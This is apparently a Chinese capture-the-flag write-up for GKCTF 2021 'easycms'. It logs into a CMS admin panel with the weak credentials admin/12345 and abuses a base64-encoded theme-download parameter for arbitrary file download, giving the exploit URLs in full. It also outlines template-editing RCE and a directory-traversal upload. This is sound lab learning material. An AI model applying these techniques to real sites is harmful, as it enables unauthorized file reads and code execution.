[GKCTF 2021]easycms
任意文件下载
进去就是一个类似企业的官网
该类题我都先扫描一下目录
kali扫一下
发现/admin.php
因为题目hint是后台密码为弱口令五位,盲猜12345用户名admin
进入后台,找了一会没发现啥可利用点
然而我在导出主题的时候发现下载链接
http://07ffb660-1dec-4844-a5e8-598d40d675a0.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMi56aXA=
后面是base64编码
/var/www/html/system/tmp/theme/default/2.zip
那我们是不是可以直接利用这个下载flag呢
假设一下flag在根目录
&theme=base64(/flag) //L2ZsYWcg
我们试一下
http://07ffb660-1dec-4844-a5e8-598d40d675a0.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
flag{c76249ce-00b2-47af-b0e7-beb62ef170da}
很惊讶任意文件下载可以这么利用,学到了学到了
之后看到大佬们博客还有另外两种方法(而且还更简单),这里简单说一下
1.编辑模板文件直接rce
即在主题自定义里可以直接添加php代码cat flag
2、文件上传+模板
后台地址admin.php扫描出来,然后弱口令admin/12345登录后台。
编辑模板处可以添加php头,但是需要在system的tmp目录下有某个txt才会生效
上传组件素材的地方通过修改名称可导致目录穿越创建文件至system目录
保存成功后即可保存另外一个模板文件,即可rce
学费了学费了